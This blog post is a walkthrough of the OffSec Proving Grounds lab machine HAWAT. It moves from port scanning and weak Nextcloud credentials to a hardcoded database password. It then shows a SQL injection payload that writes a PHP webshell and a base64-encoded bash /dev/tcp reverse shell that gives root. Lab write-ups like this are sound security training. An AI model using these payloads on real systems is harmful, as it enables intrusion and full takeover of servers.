Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - HAWAT

·1702 words·8 mins·
OFFSEC PG PRACTICE SQL INJECTION
Table of Contents

Summary
#

On port 50080 we find a Nextcloud application using weak credentials. Here we find a ZIP file which contains source code for an application that is vulnerable for SQL injection.On port 30455 we find a phpinfo.php page revealing the DOCUMENT_ROOT. The source code we found, the application runs on port 17445. Using the SQL injection we get code execution on port 30455 and get initial access as the root user.

Specifications
#

  • Name: HAWAT
  • Platform: PG PRACTICE
  • Points: 10
  • Difficulty: Easy
  • System overview: Linux hawat 5.10.14-arch1-1 #1 SMP PREEMPT Sun, 07 Feb 2021 22:42:17 +0000 x86_64 GNU/Linux
  • IP address: 192.168.227.147
  • OFFSEC provided credentials: None
  • HASH: local.txt: None
  • HASH: proof.txt:3f679744dd83646b0e7d119596064491

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir hawat && cd hawat && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Sep 10 17:10 .
drwxrwxr-x 62 kali kali 4096 Sep 10 17:10 ..
drwxrwxr-x  2 kali kali 4096 Sep 10 17:10 enum
drwxrwxr-x  2 kali kali 4096 Sep 10 17:10 exploits
drwxrwxr-x  2 kali kali 4096 Sep 10 17:10 files
drwxrwxr-x  2 kali kali 4096 Sep 10 17:10 tools
drwxrwxr-x  2 kali kali 4096 Sep 10 17:10 uploads

## set bash variable
ip=192.168.227.147

## ping target to check if it's online
ping $ip

PING 192.168.227.147 (192.168.227.147) 56(84) bytes of data.
64 bytes from 192.168.227.147: icmp_seq=1 ttl=61 time=19.2 ms
64 bytes from 192.168.227.147: icmp_seq=2 ttl=61 time=19.4 ms
^C
--- 192.168.227.147 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 19.170/19.276/19.382/0.106 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.227.147:22
Open 192.168.227.147:17445
Open 192.168.227.147:30455
Open 192.168.227.147:50080
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-10 17:14 CEST
Initiating Ping Scan at 17:14
Scanning 192.168.227.147 [4 ports]
Completed Ping Scan at 17:14, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:14
Completed Parallel DNS resolution of 1 host. at 17:14, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 17:14
Scanning 192.168.227.147 [4 ports]
Discovered open port 22/tcp on 192.168.227.147
Discovered open port 50080/tcp on 192.168.227.147
Discovered open port 17445/tcp on 192.168.227.147
Discovered open port 30455/tcp on 192.168.227.147
Completed SYN Stealth Scan at 17:14, 0.05s elapsed (4 total ports)
Nmap scan report for 192.168.227.147
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-09-10 17:14:27 CEST for 0s

PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 61
17445/tcp open  unknown syn-ack ttl 61
30455/tcp open  unknown syn-ack ttl 61
50080/tcp open  unknown syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
           Raw packets sent: 8 (328B) | Rcvd: 5 (204B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp    open  ssh     syn-ack ttl 61
17445/tcp open  unknown syn-ack ttl 61
30455/tcp open  unknown syn-ack ttl 61
50080/tcp open  unknown syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,17445,30455,50080

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,17445,30455,50080 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 61 OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey: 
|   3072 78:2f:ea:84:4c:09:ae:0e:36:bf:b3:01:35:cf:47:22 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDj3RK6xsdeO4e9FcGxkWDFkLF6hB7c+1AvLuouW7Hb9yCluZ2mIoIHBm8p8+h8ZefUURi9GirIwsti4lQdcIxKwGepWKjj9/yTKe/sNEWugWUhA2+twlcG16FWSt83UenfW9L8pJ7swSobVFWl3bLcig9vBZxRcP4S90lskZ00v7+ivglQ5ZhUEfbOm4QG9ygqY4pLTFN2jf/z91XhoTANWOrKZNOb+ESbspGxQTEUCHwVNrODS6BDqTTWNj2gZlB3rR3OxkHAiOvBaiKmt3o3IKegyx2LnjnG1s5JxjfjsV3DDesEqgB5TPfLF9SM3ablgqyBvHr1XeMWmqpQoSanb8+oNzQBmodmiARh1ScZQ4YdlAXuZPGae5bgIoCKWj8fWpxAtjvEt1GuoBmfSUrX2IZ0F+TuGLp6r2QZAAyBCc6DkZyisSVRBqgSHiCcUSMMX1s4Q+3ejdMKQdr/sio1F3KrqcxRus9r7QNHe9aPHZQvgqtfILrtRHpCLS1nESk=
|   256 d2:7d:eb:2d:a5:9a:2f:9e:93:9a:d5:2e:aa:dc:f4:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKlBMKDw3CXTIbkuaAnYiGGEVUj1gx8Cx0sCphpMw8LfYEwRT39bv6O6K/4/IRdx/55N+IZs9C15K5SoHJbACVI=
|   256 b6:d4:96:f0:a4:04:e4:36:78:1e:9d:a5:10:93:d7:99 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID8bIayyvqAHx2g8sE1rJUia1dcCXeTm0bR6MkIuzYIq
17445/tcp open  http    syn-ack ttl 61 Apache Tomcat (language: en)
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-favicon: Unknown favicon MD5: 70ABF9F47A04ADA79F260A81FD3CE5CD
|_http-title: Issue Tracker
|_http-trane-info: Problem with XML parsing of /evox/about
30455/tcp open  http    syn-ack ttl 61 nginx 1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0
|_http-title: W3.CSS
50080/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.46 ((Unix) PHP/7.4.15)
|_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.15
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-title: W3.CSS Template

Initial Access
#

50080/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.46 ((Unix) PHP/7.4.15)
|_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.15
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE

30455/tcp open  http    syn-ack ttl 61 nginx 1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0
|_http-title: W3.CSS

17445/tcp open  http    syn-ack ttl 61 Apache Tomcat (language: en)
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-favicon: Unknown favicon MD5: 70ABF9F47A04ADA79F260A81FD3CE5CD
|_http-title: Issue Tracker
|_http-trane-info: Problem with XML parsing of /evox/about

On port 50080 there is a website called thin CRUST PIZZA, but doesn’t have functionalities to abuse. So, let’s run gobuster to see if there are interesting directories.

## run `gobuster` to find directories
gobuster dir -t 100 -u http://$ip:50080/ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt | tee enum/raft-large-dir-raw-80
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.227.147:50080/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 244] [--> http://192.168.227.147:50080/images/]
/4                    (Status: 301) [Size: 239] [--> http://192.168.227.147:50080/4/]
/cloud                (Status: 301) [Size: 243] [--> http://192.168.227.147:50080/cloud/]
/~ftp                 (Status: 403) [Size: 980]
===============================================================
Finished
===============================================================

The directories /images and /4 give a directory listing, but nothing interesting, /~ftp is forbidden, and /cloud (http://192.168.227.147:50080/cloud/index.php/login?clear=1) gives us a Nextcloud login screen.

Using weak credentials (admin:admin) we get logged in.

There is an interesting file called issuetracker.zip, once you click on we get redirected to this page.

Now, click on the ellipses and select Descargar to download the ZIP file. When we unzip, it looks like source code for an application. Let’s look for hardcoded passwords. We find this: issue_user:ManagementInsideOld797.

## change directory
cd files

## move the `issuetracker.zip` to this directory
mv ~/Downloads/issuetracker.zip .

## unzip the ZIP file
7z x "*.zip"

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 164010 bytes (161 KiB)

Extracting archive: issuetracker.zip
--
Path = issuetracker.zip
Type = zip
Physical Size = 164010

Everything is Ok

Folders: 20
Files: 33
Size:       590394
Compressed: 164010

## change directory
cd issuetracker

## search for a cleartext password
grep -A5 -B5 -rni 'passw' .
./src/main/java/com/issue/tracker/issues/IssueController.java-65-           Properties connectionProps = new Properties();
./src/main/java/com/issue/tracker/issues/IssueController.java-66-           connectionProps.put("user", "issue_user");
./src/main/java/com/issue/tracker/issues/IssueController.java:67:           connectionProps.put("password", "ManagementInsideOld797");

## start Microsoft VSCode in the current directory
code .

Analyzing the source code, in that same file (./src/main/java/com/issue/tracker/issues/IssueController.java), we can see that we probably can abuse the priority parameter to get SQL injection and this is in the /issue/checkByPriority endpoint.

On port 30455 there is a SALE website also without any functionality to abuse.

So let’s run gobuster to find interesting files.

## run `gobuster` to find files
gobuster dir -t 100 -u http://$ip:30455/ -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -x pdf,html,php,txt | tee enum/gobuster-raft-small-words-raw-80
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.227.147:30455/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              pdf,html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
<SNIP>
/phpinfo.php          (Status: 200) [Size: 68610]

There is a phpinfo.php file in which we find the DOCUMENT_ROOT of /srv/http.

On port 17445 probably runs this application we found the source code for, because we see issues being reported.

As discussed this endpoint: /issue/checkByPriority is probably vulnerable for SQL injection. So, start BURP and set it on intercept. Now let’s visit this URL: (http://192.168.227.147:17445/issue/CheckByPriority) and send the request in BURP to repeater.

Change the request to a POST request and add the following URL encoded payload at the bottom of the POST request.

## payload (readable)
priority=High' union select '<?php system($_REQUEST["cmd"]); ?>' into outfile '/srv/http/webshell.php' -- -

## URL encoded payload
priority=High'+union+select+'<%3fphp+system($_REQUEST["cmd"])%3b+%3f>'+into+outfile+'/srv/http/webshell.php'+--+-

After pasting the payload, click on Send. We get a 200 OK response so that’s good.

When we now visit: (http://192.168.227.147:30455/webshell.php?cmd=id) we indeed see that we have code execution and the application is run as the rootuser.

Now, we get a reverse shell as the root user.

## get the IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.193

## setup a listener
nc -lvnp 9001   
listening on [any] 9001 ...

## create base64 encoded reverse shell command
echo -n 'bash -i  >& /dev/tcp/192.168.45.193/30455 0>&1  ' | base64 
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4xOTMvMzA0NTUgMD4mMSAg

## URL to send the reverse shell command, base64 decode it and pipe it to `bash`
http://192.168.227.147:30455/webshell.php?cmd=echo+-n+YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4xOTMvMzA0NTUgMD4mMSAg+|+base64+-d+|+bash

## catch the reverse shell
nc -lvnp 30455
listening on [any] 30455 ...
connect to [192.168.45.193] from (UNKNOWN) [192.168.227.147] 52154
bash: cannot set terminal process group (291): Inappropriate ioctl for device
bash: no job control in this shell
[root@hawat http]# cat /root/proof.txt
cat /root/proof.txt
3f679744dd83646b0e7d119596064491

References
#

[+]

Related

OFFSEC - Proving Grounds - EDUCATED
·2704 words·13 mins
OFFSEC PG PRACTICE FREE SCHOOL MANAGEMENT MYSQL APK MOBSF
WISDOM SCHOOL site on port 80 has Gosfem alogin page. RCE gives initial access. Crack msander’s hash, find emiller credentials in APK. Sudo escalates to root via bash.
OFFSEC - Proving Grounds - GRAPH
·2351 words·12 mins
OFFSEC PG PRACTICE GRAPHQL CURL BURP HASHCAT MKPASSWD
On port 80 is a graphql endpoint with SQL injection and gets hashes. Crack one for initial access. Python script with newline injection sets josh password. As josh, read /etc/shadow, crack root’s hash and escalate to root.
OFFSEC - Proving Grounds - PIER
·1332 words·7 mins
OFFSEC PG PRACTICE TORRENTPIER
Torrentpier on port 80 has a insecure object deserialization vulnerability (CVE-2024-1651) for RCE. Gain access as the pier user, use sudo to run bash as root.
OFFSEC - Proving Grounds - SORCERER
·1918 words·10 mins
OFFSEC PG PRACTICE GOBUSTER SSH-KEYGEN SCP
Zipfiles on port 7742 contain users home directories. A found id_rsa key allows scp only. Upload authorized_keys, gain SSH access, and use SUID binary to escalate to root.
OFFSEC - Proving Grounds - CHARLOTTE
·4141 words·20 mins
OFFSEC PG PRACTICE SHOWMOUNT GOBUSTER BURP EJS SSH-KEYGEN
Use credentials or mount shares for application code. Leak creds via nginx (80) using BURP. Exploit RCE as www-data. Deploy JS to abuse a cronjob and move laterally. Escalate to root with sudo/bash.
OFFSEC - Proving Grounds - CLIPPER
·2475 words·12 mins
OFFSEC PG PRACTICE CLIPBUCKETV5 LSOF LDD GCC SETENV LD_LIBRARY_PATH
ClipBucketV5 on port 80 has RCE vulnerability (CVE-2025-21624). Gain initial access and reuse credentials for lateral movement, exploit sudo lsof to set LD_LIBRARY_PATH and create own .so file to escalate to root.